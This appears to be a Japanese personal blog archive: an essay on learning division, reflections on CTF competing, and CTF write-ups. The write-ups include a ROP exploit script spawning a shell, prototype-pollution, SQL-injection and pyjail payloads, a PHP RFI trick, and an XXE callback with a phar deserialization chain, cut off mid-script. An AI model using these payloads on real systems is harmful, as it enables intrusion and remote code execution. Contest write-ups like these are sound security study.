割り切れなかった除算
Twitter(旧X)の一部などで絶え間なく掛け算の順序問題は取り上げられる。
しかしながら割り算の扱いは冷淡である。(ホットであるべきだと思わない)
これについて、初等算数の思い出として長年引っかかっていたエピソードがあるが、ツイッターで書くには微妙に長いので書いみる。
私が小学1年生の頃に通っていた公文では、指導とは問題を渡すことだった。良く言えば習うより慣れろがモットーで、算数の時間で具体的に生徒がすることは、
1. 『小学校低学年向け』とくくられた計算ドリルを『こどもの自発性』に基づいて解く。
2. それを出入り口の横の長机に座った数人の採点官へ持っていく。
3. ついでに『自発的な質問』に基づいた指導を受ける。
という感じのはずだ。(はず、というのはあまりに自発的な質問が互いに存在しなかったので、大教室では静寂と鉛筆の音しかなかったからだ。寝ている上級生が目についたので「どうやったら机で寝られるのだろうか。大人になると身につくのだろうか」と憧れたことが印象に残っている)
幼稚園で親の論文をおもちゃに遊び、ガロア理論や方程式論や相対性理論で遊んでいた皆さんには分からないかもしれないが、平均的な小学校一年生には割り算の計算がわからない。知らないからだ。掛け算はギリギリ知っていたが÷なんて記号は習ってなかった。
問題から必死に手がかりを探したものの、並ぶのはA÷B=?形式の羅列だった。仕方ないので、怒られるのを覚悟して他の計算は埋めてから割り算は白紙で採点に持っていくことにした。要約してみると以下のような指導を得た。
「4が11個なら掛け算で
4×11 = 44
だ。44という量を11に割ると
44÷11 = 4
つまり分けるための計算が割り算で、答えを埋めるには4 × □= 44という□に当てはまるような、”掛け算の逆の計算”をすれば求まる」
多少差異はあるだろうが大筋はこんなだったはずだ。「ああ上級生が割り算とか言ってたなあ。これのことなのか」みたいなことを思ったのが印象に残っているから、今思い返した記憶でも説明のあらましは大きくずれていないと思う。
さて、新しい知識を得ていざ計算に挑もうとするわけだが、やはりどうにも"÷"という記号がよくわからなかった。
記号の形からして、"×"は"+"を斜めに傾けていて繋がりが見えたのに、突然突き放された感じだった。漢字の部首とかひらがなの成り立ちで意味をとることに慣れていたのだと思う。もう少し後の自分なら分数と関連付けて納得できるが、当時は分数の存在すら知らなかった。
標準的小学一年生とはその程度で九九が出来たら早熟なくらいだし、児童文学やラノベを読むことが出来てもまだまだ書きで苦労している頃である。二回に一回はひらがなの"む"とか"ん"を左右鏡像に書いてしまう脳味噌には、どうしても"÷"の異質さが気持ち悪かった。
しかも、よくよく考えるほど、結局何をすれば「200 ÷ 2」みたいな問題が解けるのか謎だった。悩んでいるうちに最初の数ページの「12 ÷ 4」に自信なく「= 3」と書いた答えすら根拠が薄弱なことに気付き、すわりの悪さ感じてしまった。
少し前までは数字は100までしか無いと思っていたような子供だったのだ。ページを進めると2桁の掛け算とか3桁の掛け算と増えていくドリルから、どれだけ大きな数もいずれそれぞれ習うのだとなんとなく決め込んでいた(あるあるだと思う)。そういうわけで、数字の規則の厳しさを知らない自分には、どんな説明も筋が通ってないように思えた。
そこで、逆の計算というワードから考えたのが、逆じゃない掛け算の「12×4」を「12+12+12+12」に展開する考え方だ。
ただ"÷"がどう逆になるのかわからない。”負の数”は小説やらゲームやら会話やらで自然に存在だけ知っているので、連想して「12-12-12-12」を計算して、-48の前後をなんとか出したと思う。明らかに今度は掛け算で成り立ってないしパンナコッタ・フーゴだったらキレるところだが(※図1.参照)、数とかよくわからなかったのだ。

結局それから数週間散発的にぐちゃぐちゃした回答を出してはバツだったりマルだったりして、二年生に上がるのと同時にもうちょっとお受験っぽい塾に移り、疑問は置き去りになった。そのあとすぐ塾か学校の授業で習い「なんだこんなものか」と思った気がする。徐々に染み渡った形の理解のきっかけを思い出すのは難しい。
ただ、分数や繰り下がりの概念を習って実際に計算が出来てもなんだか腑に落ちず、借りるとかなんとか他の計算ほど一本調子に簡単になっていると思えなかったこと、つまり筆算で要求されるのも結局は大量の簡単な割り算での整理であり、0や9が並ぶほど脳味噌への信頼を他の四則演算よりハイレベルに要求されていることに引っかかっていたことは覚えている。結局はどれだけ訓練しても、多くの人にとっても割り算はある程度の暗記をベースにした掛け算と引き算、領域チェックの組み合わせだと思う。
実際、論理回路から説明出来る単純な計算機でさえ基本的にはこのような考え方であるわけだし、整数同士の除算については、習う筆算以上に記述が簡単な説明は少ないだろう。
自分が理解に苦しんだ概念をリストアップすると大抵の問題が与えられるカテゴリと実態の齟齬にある。そういう意味で、四則演算としてフラットに習うのに割り算だけが特権的にあまりの有無や割り切れる数、九九の知識や引き算の網羅的な演算を内包しているように思えて、「本当の割り算」を隠されているという感覚でつまったという説明もそれらしい。結局は分数の掛け算と区別がないことを知ってからは分数の掛け算で書くようになり、幸いにも通っていた公立校の教師は掛け算順序は答えに影響が存在しないことを積極的に教えるタイプだったのでその後人生において割り算への気持ち悪さは問題にならなかった。(大学入試で多項式の除算やユークリッドの互除法で似たような納得感の無さが立ちはだかって苦しんだ気がする)
たぶん、教師には「掛け算のどの部分が逆であり、掛け算の逆が割り算ならばどうやって割り算の逆は掛け算になるのですか?」と尋ねるべきだったのだ。当時の自分が咄嗟にそれを質問出来たら、鋭い回答が教師からひねり出せたのだろうし、もう少し数に関して良いセンスを持てたのだと思う。
real world ctf 6thに参加した
久々にガチったCTFですが、24/2291位でソロとしても結構いい順位がとれ嬉しかったのでwriteupを書きました。
英語にしたのはそっちの方がかっこいいからです。
今回全部録画したんで動画にしたいけど48時間超えてる録画データがしんどすぎるので未定です。
あとバイナリのpwnが結局時間がなくて通せずイマイチ華が……
hugoでポートフォリオとか作った
まだ雑ですが、技術的内容はこっちに上げるようにしようかなと思います。
metaがちょっと変とか、ちょっと足りない詳細とか誤字とかは、まだ許して……
テーマの色は自分がいつも使うターミナルの設定からです。気に入ってます
2022年からこのブログやCTFを振り返って
cve-2021-4034で使われてる手法をどこかに書こうかなということを思い立ち、自分がこのブログをやっていた事を思い出して、見返すとCTFのwriteupが2019年で止まっており、まだまだnewbieだった頃の記事に感慨深い気持ちになった。
CTFで競技者としての振り返りと反省
本格的に解けるようになってきたのが丁度この頃だったが、まだ初心者向けの大会で上が取れるくらいで、そのあとに修練を重ねて2020年の終わりで競技者としてはピークを終えたと思う。(競技者として、ということを書いたが現段階で正社員としてセキュリティ系の職についたことはないし、活動としてはたまに脆弱性を報告したり修正したりexploitを読んだり出題してる人間)
CTFは問題が基本的に難しく、1問で20位くらい(というか大体はもっと)順位が変わってしまうので二桁の中だと結構いつも接戦であり、実力としてはわりと誤差の中になってしまうことも多い。
それでも勝ちと負けはある。だから結構誤差だとわかっていても、勝負で順位というものは重いし、アベレージで負けるならやはりアベレージな弱さがある。
そういう前提はわかりつつも、どうあがいたって自分にはCryptoを短時間で解ける能力はないし、正直な話あまり興味もあまりないので、不得意をごまかしながら基本的な勉強はwebとpwnに振りつつ全部の分野を少しずつ勉強して拾ってきた。
2020年後半の順位の差は、Cryptoなどの比重が高かったり、問題数が多すぎたり、そういう苦手によってしまうことで発生していることが多い。数奇なことにチームが全員Cryptoあんま得意じゃないからチームで出ていてもそこは変わらなかった。
そういう前提でいつもあと一問でtop 10ということをやっていて、結局の所いつもそうなんだから、見た目よりもずっと”あと少し”では無いんだということを納得しつつある中、19位を取って、10という数字に区切りを感じてしまった。
それに開発などの勉強もある中で、競技だけに特化することは難しくなった。
興味という点でも、その頃はCTFの技術を脆弱性の報告などに応用することができるようになってきて、現実の脆弱性のほうが面白くなってきてしまい、競技のことばかり考えられなくなってきたという面もあった。
根性論は忌憚される世の中であっても、なんだかんだモチベーションというのは勝ち負けのギリギリの部分でかなり影響があってCTFはレート分けなしの世界大会が常であり、48時間徹夜するとかをしていたので自分には重い問題である。
例えとしておこがましいことは承知だが、特殊部隊だって愛国心がなかったら結構弱くなるわけで、ポテンシャルというのは理論で出し切れるものじゃないなんていうことは結構了解されてると思う。まあ押し付けるのは悪だろうがそれは別の話
ともかく、有名じゃないCTFではあるものの、ハイスクール向けとかCTFtimeにないローカルなものを除いたコンテストで、19位という順位は自分にとって重要だったのだ。
マイナーコンテストで強豪チームが出てなかっただけ?うるせえお前もこの順位取ってみろや。
普段はチームとして出ていて、Ciruelaさん、Tda_Adopさん、Maruさん、proxyさん、pwdさん、Teppayさん、きなこさん、今ではTSGとして活動しているsmallkirbyさん、tokaさんなど(2021年からのメンバーだとRyotaKさんなどもたまに顔を出したりしていた)の協力がある戦績ではあるが、KipodAfterFree CTF 2020に関しては一人で取ったスコアである。
こういうことを書いていて思うことは、CTFは少なくともチームで出るときにはチームの競技であり、ジェネラリスト的なスタイルは結構気を付けなければチームにとって悪影響を及ぼすということだ。
2020年の終わりに一人で出たのは、チームとして脱退(きなこさんは脱退し、チームを立ち上げている)やアクティブ率が下がったからという面が大きい。
原因は結構自分だろう。
Contrailでは誰が何点取ったということについて、writeupを書くという行為でポイントを出してうまくやっていたが、解く問題数や複雑さによってwriteupを書くコストが上がるとそういうことも難しくなった。
あと私が元気すぎて、結構色々な問題を拾ってしまっていて見た目のスコアでかなり割合が多くなってしまった。pwnは特に問題が難しくなりすぎて、自分が得点を取りがちでもあり、pwnerが重複しているチームとしてはモチベーションを下げてしまっていたかもしれない(一時期自分が教えておいてpwdさんに追い抜かれたので実はかなり気合を入れ直してやっていた)。
自分では解けなかった問題もあったし、そもそもある程度の難易度でflagを入れる偉さに差はない。それに一人で出てしまえば他の人が取れた問題も結構あっただろう。
弁明をしておくと自分としてはとにかくポイントや順位が欲しく、少なくともチームとして勝つ努力は常にしていたということで、フォロワー数とかSNSやってるかとかで発信に差が出てしまうことに気をつけるべきだったのかもしれないという部分である。
チームとして出るならあくまでもチームとしてのスコアであり、出来た時より、出来なかった時の押し付け合いというものが重要だったのだろうということを社会人として働いてからは思う。
メンバーがこのブログを見てたら、まあその点については反省していますということは伝えたい。
でもチームでやるCTFはスプラトゥーン的で楽しいからそういう気持ちでやらん?スプラトゥーン友人の家でしかやったことないけど……
過去の記事や時代の変遷を振り返って
ブログのwriteupを読み返すと、今からすると結構カスだなと思うことばかりだ。でもgoogle ctfでphpのpop chainが1 solveだった時代なのだ。まあ全員それなりにレベルが低かったし、そこから勉強していって今があるわけで。
angrやghidraがマイナーだったり存在しなかった時代でのreversingは大変だったなあとか思うし、heapについて何一つわかって無くてもpwnがある程度解ける時代でもあったなあと思う。
”補助するドキュメントやツールが増えてCTFは簡単になったのだろうか?”ということは、難しさの種類が変わったのかもしれないと思う。
今はpwnはrevと表裏一体であった時代と違う。
オフェンシブなセキュリティが業界として需要が出て、良くも悪くも資本が投下されるようになった。
まず顕著なのが防御が強くなったために現実的想定の難しさや出題のセンシティブさが結構上がった。
そして問題の質が変化した。昔のprizeなんてのはもっとしょぼかったわけだし、かなり治安の悪い問題も多かったし、まあオタク的であった(オタクを売りにしていたhtbの問題は最近なんだかなあって感じではある)。
カンファだったりも、blackhatの発表はもっと刺激的な内容だったしssrfやprototype pollution、sstiなどの積極的な手法化(名称自体は2015年とかもっと前から出ていた)がかなりリアルタイムに出ていた頃からすると、そういうのが出なくなったと思う。
やり尽くしてしまったのか?まだそうは思わない。ランサムウェアだったりIoTとかだったり、現実世界で影響力を持ってしまったために実践的である部分には世界的にどうしてもオープンにすることへ抵抗感が出てしまったし、まあ抵抗なかった頃がおかしかったんだと思う。
感覚として、殴り合いからボクシングになったような変遷を感じる。もちろん未だに中国のコンテストとかは殴り合いくらいの治安であったりするけれど。
殴り合いとボクシングはそれぞれ別個に価値があり、結局競技にしてしまえばある程度特化したアスリートにならなければならないのである。
そういう面で、今だって順位には絶対に価値があるし、競技の中での優劣というのは勝ち負けでしか語りえず、とにかく自分が今勝つことは、体力的な衰えも含めて難しくなっただろうと思う(まだ25だけれど、気合を持ったまま徹夜するのはキツくなてきた)。いつの時代も勝つやつは勝つということが凄い。
どう出場者が変化しようと、問題傾向が変化しようと、世界レベルはいつだって世界レベルで、グローバル人材になるならグローバルに勝つということはわかりやすく目標になる。だからグダグダ言い訳したってとにかく自分より上のやつらは偉いという部分については異論がない。
ところで最近新しい日本チームが引きこもりがちなことに少し懸念を覚える。国際的なCTFに出ようぜ。タコ殴りにされて0点をとりまくろう。
セールスをしてみると、CTFはパズルに見えるような問題であってもかなり現実が前提となった出題なので、開発職でも結構知識が役に立つし、OSSの糞デカコードを読まされたりする経験も半端なくためになる。
フィジカルが根本としてある部分を抜いて本気で勝ち負けをすることは現代では受験くらいつまんないことしかなく、やっぱ勝負は楽しいし、どんな方法でも、どんな大会でも、世界と言える場で勝つことは結構人生において価値を感じられる行為だと思う。
あと同じ廃人ならオンゲ廃人よりは悩みが少ない。
自分は結構オンゲとか音ゲーやると際限なく頑張ってしまうので、自主規制しているけど今でもまあたぶん楽しめるだろうと思う。やりすぎる性格でそういうことにハマると人生がつらくなりがちなので……
何の文章だったのだろうかというのは謎の記事だけど、ここはブログだしそういうもんだよ。
言うまでもなく上の文は主観の塊であります。
RedpwnCTF Writeup
team Contrailのdouroとして参加し、フラグを入れた926チーム中57位でした。私は一日目の終わりから参加して1552pt獲得しました。解いた問題は
- Stop, ROP, n', Roll
- HARDMODE
- Super Hash
- l-star
- genericpyjail2
- ghast
- Dedication
- Survey
- blueprint
です。変な問題捨てればhell.cとBlack Echoは通せたかもと後悔があり、次に生かしたいです。一応全ジャンルできたのはうれしい。
あとred-pwn-isは問題サーバー(aws)のcredをHTTP Header Injectionで盗めたけどこれは罠でなんも権限がなく、普通にlocalhostのRedisにたいするSSRFだった。運営許せねえ。
最低得点の50pt以外の問題についてWriteupを書きます。
[Web] blueprint (168pt)
node.jsで動いているサーバーにおいて、記事が投稿できる。 flagが public===undefinedで投稿されているので、これをtrueにすれば読むことができる。以下が脆弱なコード。
parsedBody = _.defaultsDeep({ publiс: false, // default private cоntent: '', // default no content }, JSON.parse(body))
単純に__proto__を用いたプロトタイプ汚染ができそうだが、lodash 4.17.11においては__proto__ではなくconstructorを使ったペイロードが通る。{"public":true,"constructor":{"prototype":{"public":true}}}でpublicをtrueにできてフィニッシュ
[Pwn] Stop, ROP, n', Roll (280pt)
libcがなく、カスタムされたlibcが使われている場合のPwn。
なんか変な処理が入るが、readのrdiを入力で制御できるため、rdiに0を入れてバッファにコードを入れてオーバーフローできる。1バイトずれるためパディングに注意。
libcをリークする所までは普通にできるが、libcからexecveとsystemが抜けてたりputsの位置が異なったりとカスタムされている模様。
write@libcは通常の位置にあったので、rdxをreadのものから流用できることを利用し、libcの内容を__libc_start_mainを基準としてダンプさせる。
どうやらsystemやexecveといった関数が取り除かれているため、頑張るしかない。
pop rax; ret;とpop rdx ; ret;のバイトコード手に入れ、syscallを制御できるようになったらexecve("/bin//sh", 0, 0)をropで組み立て、シェルを起動する。
from pwn import * import time context.log_level="debug" """ p = process(["strace","/home/yukari/Desktop/srnr"]) p.recv() p.sendline(b"1") p.recv() p.sendafter(b"read(1, ",b"a") p.recvall() """ pop_rdi = 0x00400823 pop_rsi_r15 = 0x00400821 printf_plt = 0x00000000004005c0 printf_got = 0x601fd0 setbuf_got = 0x601fc8 main = 0x0040073b read = 0x4007ad read_got = 0x601fd8 ret = 0x0040059e data = 0x000000000602000 bss = 0x0000000000602020 syscall = 0x00400703 onegadget =0x4f322 offset = 0x186a0 libc_start_main = 0x601ff0 p = process("./srnr") #p=process(["strace","/home/yukari/Desktop/srnr"]) #p= remote("chall.2019.redpwn.net" ,4008) elf = ELF("./srnr") libc = elf.libc binsh = next(elf.search(b"/bin//sh\x00")) #gdb.attach(p,"c") #time.sleep(2) p.recv() p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rdi) buf += p64(read_got) buf += p64(pop_rsi_r15) buf += p64(0) buf += p64(0) buf += p64(printf_plt) buf += p64(ret) buf += p64(main) p.send(buf) read_leak = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00")) libc_base = read_leak- libc.symbols[b"read"] write = libc_base + libc.symbols[b"write"] #leak libc_start_main p.recv() p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rdi) buf += p64(libc_start_main) buf += p64(pop_rsi_r15) buf += p64(0) buf += p64(0) buf += p64(printf_plt) buf += p64(ret) buf += p64(main) p.send(buf) libc_leak = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00")) #leak libc_binary recv = b"" i = 0 p.recv() context.arch = "amd64" pop_rdx_asm = asm(""" pop rdx ret """) pop_rax_asm = asm(""" pop rax ret """) while True: try: p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rsi_r15) buf += p64(libc_leak+offset*i) buf += p64(0) buf += p64(pop_rdi) buf += p64(1) buf += p64(write) buf += p64(ret) buf += p64(main) p.sendline(buf) recv += p.recvuntil(b"[#] number of bytes: ")[:-1*len(b"[#] number of bytes: ")] if (recv.find(pop_rax_asm) != -1 and recv.find(pop_rdx_asm) != -1): pop_rax_offset = recv.find(pop_rax_asm) pop_rdx_offset = recv.find(pop_rdx_asm) break i+=1 except: break pop_rdx = libc_leak + pop_rdx_offset pop_rax = libc_leak + pop_rax_offset print(hex(pop_rdx_offset)) print(hex(pop_rax_offset)) p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rdi) buf += p64(binsh) buf += p64(pop_rax) buf += p64(59) buf += p64(pop_rdx) buf += p64(0) buf += p64(pop_rsi_r15) buf += p64(0) buf += p64(0) buf += p64(syscall) p.send(buf) with open("libc_leaked","wb") as f: f.write(recv) p.interactive()
[Forensics] Dedication (388pt)
パスワード付きzipと壊れたpngファイルが含まれているため、pngを修復する。すると、パスワードが書かれたpngが出現するため、これをもとにzipを解凍すると同様の問題が出現する。
よく覚えていないが、たしかこれを100回以上(もっと多かったと思う。死ぬほどかかった)繰り返さないといけないため、人力では不可能。
また、pythonのzipfileモジュールではパスワード付き解凍が遅すぎて自分の環境ではとても終わらない。
チームメイトのCiruelaさんがpngを修復するコードは書いてくれたため、これを改良し、
を実装した。 頂いたコードは以下
from PIL import Image import numpy as np import os import traceback f_name = os.listdir()[0] f = open(f_name, 'r') out_img = Image.new('RGB', (600, 400)) data_all = f.read() data_start_index = 0 data_end_index = 0 try: for i in range(600): for j in range(400): data_start_index = data_all.find('(', data_start_index) data_end_index = data_all.find(')', data_end_index) rgb_data_str = data_all[data_start_index + 1 :data_end_index].split(',') #print(rgb_data_str) r, g, b = int(rgb_data_str[0]), int(rgb_data_str[1]), int(rgb_data_str[2]) out_img.putpixel((i, j), (r, g, b)) data_start_index += 1 data_end_index += 1 except: traceback.print_exc() f.close() input('[end]') out_img.save('output.png') f.close()
tesseract-ocrを使ってlang=engでpngを読んだが、フォントが特殊なため誤答が非常に多かった。そのため、フォントを特定し、配布されている学習スクリプトを用いて特化した学習を行った。
フォントの特定は"g"の特徴的な形をたよりに行った
これを
https://www.whatfontis.com
に放り込んで、候補に出てきたM+ 2c lightだとわかったので、学習スクリプトを改造した。
学習スクリプトを少ないリソースで回すためにかなり弄ったので詳細は忘れたが、どうにかこのフォントとwordlistに特化したlstmのtraindataを作れたので、これをもとにOCRの誤答率を相当減らすことができた。
zipの解凍がオーバーヘッドになっていたため、zipinfoとunzipを直接呼び出す処理にした。かなり実装が雑だが、圧倒的に早く動いたのでOKです(Flagを入れれば勝ちなので)。最初は解凍をCで実装したが、大変だったのであきらめた。
最終的なコードは以下。
自前でtraindataは用意してください。
from PIL import Image import numpy as np import os import traceback import pyocr import pyocr.builders import glob import zipfile import shutil tool = pyocr.get_available_tools()[0] lang = "eng" while True: f_name = glob.glob("*.png")[0] f = open(f_name, 'rb') out_img = Image.new('RGB', (600, 400)) data_all = f.read() data_start_index = 0 data_end_index = 0 print("image fixing...") try: for i in range(600): for j in range(400): data_start_index = data_all.find(b'(', data_start_index) data_end_index = data_all.find(b')', data_end_index) rgb_data_str = data_all[data_start_index + 1 :data_end_index].split(b',') r, g, b = int(rgb_data_str[0]), int(rgb_data_str[1]), int(rgb_data_str[2]) out_img.putpixel((i, j), (r, g, b)) data_start_index += 1 data_end_index += 1 except: with open("a","r") as f: nextpath = f.readline()[:-1] os.system("display out.png&&rm out.png") zipname = glob.glob("*.zip")[0] txt = input() os.system("unzip -P " + txt + " " + zipname + "&& rm tmp/*&&mv *.zip tmp&&mv *.png tmp&& mv ./" + nextpath + "* . &&rmdir "+nextpath) f.close() print("text reading...") txt = tool.image_to_string( out_img, lang=lang, builder=pyocr.builders.TextBuilder() ).replace(" ","").replace("H","li") print(txt) zipname = glob.glob("*.zip")[0] print(zipname) out_img.save("out.png") print("extracting...") os.system("zipinfo -1 "+ zipname + " > a") with open("a","r") as f: nextpath = f.readline()[:-1] print(nextpath) print("unzip -P " + txt + " " + zipname) os.system("unzip -P " + txt + " " + zipname + "&& rm tmp/*&&mv *.zip tmp&&mv *.png tmp&& mv ./" + nextpath + "* . &&rmdir "+nextpath)
[Misc] l-star (364pt)
cのコードとyay.txtとnay.txtが与えられる。 yay.txtとnay.txtには以下のような文字列が大量に繰り返されている
... ... abbbaabbaba abbabbabbaaba bbabbaaaaaaba bbaaaaaaaaaba bbaaaaabbaba aaaaabbabbaba aabbbbabbaba bbbabbbabbaba aabbbaabbaaba bbabbabbbaba babbabbaaaaba babbbaaaabbab ... ...
コードを読むと、yay.txtに含まれる全ての文字列にマッチして、nay.txtに含まれる全ての文字にマッチしない正規表現を90文字以内で作ることが目標だとわかる。
正規表現を組み立てる前にn-gramで差集合をとって様子を見ようとした。
すると条件をみたす文字列"aba"が出たので、abaを入力してフラグをゲットした。
def get_char_ngram(n,s): gram = [''.join(s[i:i+n]) for i in range(len(s)-n+1)] return gram macher = [] nomacher = [] with open("yay.txt","r") as f: for line in f: macher.append(line) with open("nay.txt","r") as f: for line in f: nomacher.append(line) yay = [] nay = [] for i in range(1,10): for m in macher: yay += (get_char_ngram(i,m)) for m in nomacher: nay += (get_char_ngram(i,m)) yay_set = set(yay) nay_set = set(nay) possible_list = list((yay_set^nay_set)) for p in possible_list: result = 0 for m in macher: result = m.find(p) if(result == -1): break if(result != -1): print(p)
[Misc] genericpyjail2 (152pt)
pyjailの問題。空白、open、import, sys, input等が禁止されている状況でflag.txtを読む。pr0xyさんがx=raw_input()で入力できることを発見したためデバッグにはこれを使ってx=raw_input();exec(x)した。
().__class__bases__[0].__subclasses__()をenumerateしてダンプすると、fileオブジェクトが見えた。たぶんopenだと思ったので、これを使ってflag.txtを読んだ。
最終的なペイロードは以下
print(().__class__.__bases__[0].__subclasses__()[40]("flag.txt").read())
総括
結構解答に近付けていたのに時間が足りなかった高得点問題が多かった。時間配分についてもう少し考え直したい。
Interkosen CTF 2019 Writeup
結果はフラグを入れた91チーム中、チームContrailは5位でした。

とてもおもしろいCTFでした。良問を揃えてくれ、潤沢なサーバーリソースを提供してくれた運営には感謝。
REV
favorites [357points]
radare2で解析し、python3でsolverを書いた。
メインルーチンはこのようになっていて、0x12b9から0xe回のループで
ret = f(user_input, counter, ret)
によって暗号化された入力を0x1352で4桁ずつHEX文字列にし、正解と比較している。(retの初期値は0x1234)

つまり、f()の内容さえ解析できればフラグとヒットする文字列を探索できそうだとわかる。
f(user_input, counter, ret)を見てみよう。

実はビット拡張やal,axなどを編集する処理があり、とても解読がつらい。なんか微妙にずれて永遠に答えが出ず、今回のCTFの長い時間をこの問題と過ごすことになった。
気合でretdecなどの力を借りつつ(そのままだと正しくない)読むとこのようになる。気がしたが上位ビットがちょっとずれて永遠にわからんので無視した。
def f(a1,a2,a3): v1 = a3 & 0xffffffffffffffff v2 = (((v1 >> 12) % 16 | 16 * v1) ^ v1 >> 4) << 8 & 0xff00 return v2 |( ((((a2 ^ 0xf) <<4 & 0xffffffff) | ((0xffffffff) & a2) >>4) & 0xff) ^ (( a1 << 4 | a1 & 0xff00 | a1 >> 4 & 0xf) + 1) & 0xff) & 0xffff
あとはsolverを書く。ちなみに問題に好きなアニメとか暗号化されて埋め込まれてるが一切関係ない(めちゃくちゃ困惑して迷った)。
def f(a1,a2,a3): v1 = a3 & 0xffffffffffffffff v2 = (((v1 >> 12) % 16 | 16 * v1) ^ v1 >> 4) << 8 & 0xff00 return v2 |( ((((a2 ^ 0xf) <<4 & 0xffffffff) | ((0xffffffff) & a2) >>4) & 0xff) ^ (( a1 << 4 | a1 & 0xff00 | a1 >> 4 & 0xf) + 1) & 0xff) & 0xffff correct = "62d57b27c5d411c45d67a3565f84bd67ad049a64efa694d624340178" s = correct anslist = [s[i: i+4] for i in range(0, len(s), 4)] print(anslist) rdx = 0x1234 for d in range(0,0xe): for i in range(0x30,0x7f): ret = f(i,d,rdx) if(hex(ret)[-2:] == anslist[d][-2:]): print(chr(i),end="") rdx = ret break
KosenCTF{Bl00m_1n70_Y0u}
WEB
Neko Loader [434points]
問題サーバが閉じてしまったため詳細は割愛するが、phpにおいてinclude()でRFIが出来る問題。ただし、入力にかなり制約があるため工夫が必要。
include("ftp://xxx.php#ftp:")
のようなincludeをさせる。
通常、php7ではnull byte injectionなどにより末尾に追加される文字列をスキップできないが、URL形式であれば#以降はスキップできることを利用し、ftpが制限をバイパス出来ることを利用した。
今回のRFIの想定は少し突飛だが、ftpスキームによりcloudflareの攻撃検知をバイパスする手法は実際に存在するため、大いに覚えておく価値はある。
E-Sequel-Injection [500points]
コメントアウトやunion、orなどが全て禁止され、andとin、その他記号を用いて以下のsqlでadminとしてログインする問題
prepareしているため一見脆弱性は存在しないように見えるが、使い方を間違えているためインジェクション可能(ここはチームメイトに指摘を頂いた)
$pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
抜ける必要がある正規表現は以下。
$pattern = '/(\s|UNION|OR|=|TRUE|FALSE|>|<|IS|LIKE|BETWEEN|REGEXP|--|#|;|\/|\*|\|)/i';
スペースやコメントアウトが禁止されているため、末尾の ' がかなり難しい、orが使えれば''or''で抜けられるし、スペースが有りならorder by ''で抜けられるが、この状況では無理。
mysqlの仕様と睨んでいたが、最終的にand'1'が可能であることが手元の検証でわかったため、以下のようなsqlを組み立ててフラグを通した。
SELECT username from users where username='admin'and'admin'in('admin','and password=')and'1'
KosenCTF{y0u_sh0u1d_us3_th3_p1ac3h01d3r}
and'1'はかなり実用的に思える。
Google CTF gPhotoz 解けなかったwriteup
題名の通り解けませんでした。
いい感じの所までは進めたので進捗を共有します。誰か答えを教えてほしい(solve 1)
writeup
?action=srcのリンクが隠されており、アクセスするとphpのソースコードが手に入る。 全体のコードは割愛するが、単純な画像アップローダである。 mimeでファイルタイプを判定しており、画像のみアップロード可能。
function __construct($path) { $formats = [ "image/gif" => "gif", "image/png" => "png", "image/jpeg" => "jpg", "image/svg+xml" => "svg", // Uncomment when launching gVideoz //"video/mp4" => "mp4", ]; $mime_type = mime_content_type($path);
アップロード後画像は圧縮され、生成されたサムネイルと元ファイルのリンクを返す。
exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128'.workdir()."/{$this->name}_small.jpg"), $out, $ret);
圧縮に失敗すると__destruct()が走る。
function __destruct() { if ($this->failed) { shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}")); }
__ destruct()はphar stream wrapperによってunserializeが走った際に呼ばれる特性があり、オブジェクトコードインジェクションによってメンバを書き換えて呼び出せる。(好きなメンバで__destruct()を呼べるが、現在処理中のオブジェクトに影響はない)。phar stream wrapperを経由して画像ファイルに偽装したpharを呼び出せば、任意の引数でrmを呼び出せる。
さて、phar://のurlをつけてファイルを呼び出させる必要があるがurlによってファイルの読み出しを行うスクリプトはないため工夫する必要がある。
そこでmime_typeに注目すると、svgをxmlで読み込むことを許可しているため好きなxmlを読ませられることに気づく。
試しに次のようなxmlを送るとコネクションが帰ってくる。
<?xml version="1.0"?> <!DOCTYPE xml [ <!ENTITY % xxe SYSTEM "http://myip/"> %xxe; ]> <svg width="100px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" > <text x="150" y="150" font-size="10">a</text> </svg>
そこで、次のようにする。
<?xml version="1.0"?> <!DOCTYPE xml [ <!ENTITY % xxe SYSTEM "phar:///var/www/html/upload/xxxx/xxx.jpg"> %xxe; ]> <svg width="100px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" > <text x="150" y="150" font-size="10">a</text> </svg>
これにより、pharストリームラッパーでファイルを読み込むことが出来る。 あとは、jpgに偽装したpharを上げればよい。 次のようなスクリプトでmime typeがjpegのpharを作る。
<?php @unlink("phar.phar"); $jpeg_header_size = "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13". "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02". "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15". "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14". "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01". 